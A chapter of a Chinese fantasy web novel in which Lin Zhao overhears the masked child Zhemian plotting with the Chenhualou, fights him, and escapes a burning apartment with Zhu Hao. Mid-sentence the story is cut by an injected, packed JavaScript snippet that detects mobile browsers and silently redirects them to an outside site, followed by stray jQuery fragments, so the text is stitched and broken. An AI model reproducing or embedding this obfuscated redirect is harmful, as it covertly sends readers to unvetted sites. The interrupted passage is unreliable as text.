蔺昭不敢相信眼前看到的一切,可那镜面的反光又是那么真实。
最开始,七重梦的镜子也是伪装成太阳的模样,将她卷进去的,这说明七重梦的镜子不只在人的身上,有时也会藏在别的地方。
“你在发什么呆?”遮面突然开口,“你该不会整个晚上都在想怎么逃跑吧?”
遮面这么早就醒了。
蔺昭僵硬地站在窗前,抬手轻轻地拉上窗帘,打了声哈欠:“怎么可能,是外头的阳光太刺眼把我晒醒了。”
“可我特意为你留的那半边床,阳光晒不到。”遮面轻声说着,眉头皱起,圆乎乎的脸蛋有一丝倦意。
蔺昭无话可说,只能心虚地搓搓手,露出笑容:“要不你再睡一会儿?”
“砰。”卧室门被遮面毫不留情地关上,蔺昭跌坐在地上。
见遮面发脾气没再管她,蔺昭急忙起身走到门口,小心地打开门,地上只有一堆被祝好撕碎的花纸片,祝好早已没了踪影。
希望祝好能寻到周烔,至少他能暂时护住她的性命,蔺昭抓着那堆纸片轻叹一口气,思考着如何才能摸到天上的七重梦镜子。
“蔺昭,我要吃早餐。”遮面的声音从卧室里响起,蔺昭急忙关门,飞快地钻入厨房,翻找冰箱里有什么食物。
她刚打开火煮上一锅热水,便听到一阵怪异的叫声传来,那鳐鱼怪又来了,蔺昭打开呼呼响的抽油烟机,悄悄靠近卧室。
仔细一听,除了遮面和鳐鱼怪的声音,还有两名陌生男人的说话声。
“杀了她。”
“不,蔺昭不知道七重梦镜子在哪儿,我没必要取她的性命,不过,她好像在找一个像木乃伊的男人,也许那人才是通过七重梦的关键。”遮面淡淡说道。
“只有这些吗?可还有别的消息,”陌生男子底气不足,语气有些沮丧,“梦魇魔的塑灵仪式快要完成了,若再无人通过七重梦的考核,我们嗔花楼就丧失用处了。”
“若是怪罪下来,也是怪你们,”遮面不屑地说,“你们在这里待了这么久,只会错杀滥杀,我进入此地不到半月,就替你们捉了六名探梦者。”
“谁知道你是不是故意害我们嗔花楼,”另一名语气浑厚的男子反问遮面,“祝好是梦魇魔要的双灵一体,你不把她交出来,还对我们摆脸色。”
“第一,梦魇魔要的是祝好的妹妹祝安,她们的灵体在入七重梦后分离了;第二,我没有私心,只是在打探消息而已;第三,若不是我,你们连七重梦的镜子都找不到。”
“罢了,梦魇魔大人已经说了,三日内再无进展,要把我们一并杀了,你即使有褚子梁护着,也没有好果子吃,好自为之吧。”
那鳐鱼怪尖啸一声,狂风大作,蔺昭急忙跑到客厅的窗边,透过窗帘缝隙偷看,两名男子坐在鳐鱼怪的背上,乘风而去。
蔺昭眯眼细看,那两人昨日在市场追杀过她。
这就说得通了,遮面以孩子的身份降低那些探梦者的警惕,用情景游戏打探消息,嗔花楼的人则负责抓住目标,让鳐鱼怪把血带到天上,若是抓对人,天上的七重梦镜子沾血必定有变化。
祝好因为神志不清,身上也搜不出七重梦的镜子,侥幸逃过一劫。
不过,遮面到底为什么不杀她,是为了蹲守周烔吗?
蔺昭陷入苦思,突然一股烤焦的气味飘到她的鼻尖,回过神的蔺昭手忙脚乱地冲进厨房,只见水已经被烤干了,厨房里飘着水汽,锅底烧得厉害,险些烧穿。
遮面打开卧室门走出来,看着被热水烫到的蔺昭,微笑问:“你煮的什么早餐能烫成这样?”
“我打算煮一锅粥,但是不小心把锅烧坏了。”
“真厉害啊,”遮面冷哼一声,靠近蔺昭拉起她的手,“我不吃早餐了,来陪我玩吧。”
紫丝卷起许多玩具摆放到地上,蔺昭和遮面坐着,一起摆弄那些玩偶,太新奇了,蔺昭捏着一辆小汽车玩具从左划到右,小汽车咔咔响,发出有趣的怪声,遮面却不感兴趣,只见他拿着一个彩色的小话筒凑到蔺昭面前。
“好玩吗?小孩子的玩具。”遮面笑道,他低头抢过蔺昭手中的玩具车,塞了一个包子玩具,包子玩具软乎乎的,捏一捏还有响声。
蔺昭却不敢放松警惕,她知道遮面不过是在卸下她的防备,好套取什么线索。
如今蔺昭只能陪着遮面,等待祝好和周烔来找她,或者她自己逃出这座公寓楼。
“好玩,但是我没时间在这陪你了,”蔺昭轻笑一声,将玩具放下,“你玩够了吗?”
“没玩够,你要去找周烔还是祝好?”遮面平静地问,仿佛早就知道了答案。
蔺昭心惊,遮面居然知道周烔,那他为何要在嗔花楼的人面前,假装不知道木乃伊是谁。
“你猜错了,我在找其他人。”蔺昭抿唇,她有些摸不清遮面的脾气,那面具戴在他的脸上,遮住了大部分情绪。
“咚咚咚。”又玩了两个小时,出租屋外传来敲门的声音,蔺昭一阵心慌急忙起身,却被遮面控制的紫丝拦下。
“没有我的允许,你怎么敢开门。”遮面捏着玩具抬头看蔺昭,下一秒,紫丝越过蔺昭缠住门把手,大门被拉开一道缝隙,露出祝好那张不开心的脸。
周烔呢?蔺昭无声息地做了个口型,祝好有些生气地推开门走进来,美目瞪着蔺昭。
“原来是祝好,我还以为你出去之后能按照蔺昭的话找到周烔,没想到你两手空空地回来,”遮面有些失落地摇摇头,“看来你确实没有什么价值了。”
他什么都知道!蔺昭和祝好大惊。
话音落下,紫丝瞬间膨胀暴起,勒住祝好纤细的脖子,眼见祝好脸色发白脚尖离地,蔺昭飞身而过击碎她脖颈上的紫丝,将祝好护在身后。
“蔺昭你为什么这么着急,杀了她,下一个自然就是你了。”
遮面用力一拍,那紫丝便有意识般飞射而来,蔺昭急忙将祝好推入厨房反手关上门,紫丝化成刀,瞬间刺穿门板直击后头的蔺昭,她闪身躲开,拉过屋内的家电挡住被刺穿的地方。
“祝好,我让你去找周烔,你找到了吗?”蔺昭焦急开口,只希望能有些好消息。
“我找到他了,但是他根本不知道彭大哥在哪儿,所以我又回来了,”祝好垂眸,露出失落神色,“骗子。”
蔺昭一听手里的锅险些掉了,这个笨蛋周烔。
“那,那骗子周烔没和你一块回来吗?”
“他随我到楼下的时候,突然有几名黑衣服的人冲出来抓他,我便跑
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16536026|186555||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上楼了。”祝好不安地回答。
看来,遮面和嗔花楼有冲突了,双方的行动不同步。
忽然,蔺昭用来堵门的电冰箱被打得变形,随后不停爆发出危险的火花,一股怪味混着浓烟飘出,屋里起火了。
“蔺昭,再不出来,就将你们活活烧死。”遮面不耐烦的声音从门外传来。
“你张口全是些混账话,也不知道是和谁学的。”蔺昭暗骂一声,门外的遮面兴许是听到了,将插在门上的紫丝收回。
火蔓延开来,顾不上周烔了,当务之急是保住二人性命。
蔺昭打开窗户将祝好推出去,外头只有一小块能站人的平台和长长的外水管。
祝好刚钻到窗外扶好水泥墙,那火就放肆烧开了,炸出的火星子飘到蔺昭的衣服上,瞬间点了几个洞,窗外的风呼呼地朝里刮,外头没有足够的空间,一旦蔺昭钻出去,两个人都会摔下楼。
“你,你头发着火了。”祝好担忧地盯着蔺昭说道,蔺昭顺着她的视线这才注意到发尾烧焦了,急忙拍熄火苗。
“祝好你顺着水管慢慢向下滑,我会轻功,能先你一步落地接住你。”蔺昭安抚祝好,祝好点点头看了一眼楼下,脸色变得愈发难看。
“可是,楼下好多黑衣人,我们走不了了。”
蔺昭一听急忙伸出大半个身子,窗户正下方果然站着一群黑衣人,个个虎视眈眈,看这情形,二人下楼就是自投罗网。
与此同时,门口的电器炸开,炸开的火舌贪婪地燎上蔺昭的衣服,即便是躲,她的衣服也被烧黑一片,蔺昭皱起眉头看着灼伤的皮肤。
再不走,命就没了。
“扶好了。”蔺昭一脚踏出窗台,将祝好和她的腰带缠在一起,祝好被烟熏坏了,呛咳几声。
“你绑着我,若是我掉下去,你也活不成。”祝好额上冒着热汗小声提醒,她全身上下的力气都用在扒窗台了,实在没办法阻止蔺昭。
蔺昭一边缠着腰带,一边看着祝好茫然的眼睛,心中五味杂陈:“活不成?我若是带不走你,就没有活的必要了。”
她已经失去了涂前辈,不能再失去祝好了。
蔺昭用力扯紧二人的腰带,将祝好死死扒墙的手搭到自己肩上:“让周烔自求多福吧,反正他死不了,祝好我们走!”
话音未落,屋内发出爆响,厨房门被冰箱炸开了,门外的遮面看到蔺昭和祝好纵身一跃,急忙操纵紫丝:“抓住她们!”
一时间,公寓的外墙都冒出诡异的紫丝,一道接着一道拦住蔺昭的去路,但都被她巧妙躲开了。
“我们去哪?”祝好害怕极了,手死死抓着蔺昭后背的衣服,炎热且怪异的逆风吹得二人睁不开眼睛。
蔺昭快速蹬着水管直奔公寓的楼顶:“我们到太阳上!”
“你疯了吗!”祝好脸色铁青,刚到楼顶便挣扎着离开蔺昭,可二人腰带相缠,怎么都下不去。
“祝好,等你恢复记忆了再骂我吧!”蔺昭抓着祝好从楼顶飞跃,空中什么都没有,只有狂妄肆意的风,将烧焦的衣裙吹拂。
蔺昭指尖轻捻,红红绿绿的小纸片随风而起,祝好惊讶地看着那些垃圾,这不是她在家门口撕碎的纸片吗?
下一秒,蔺昭足尖轻点,踏红绿而飞。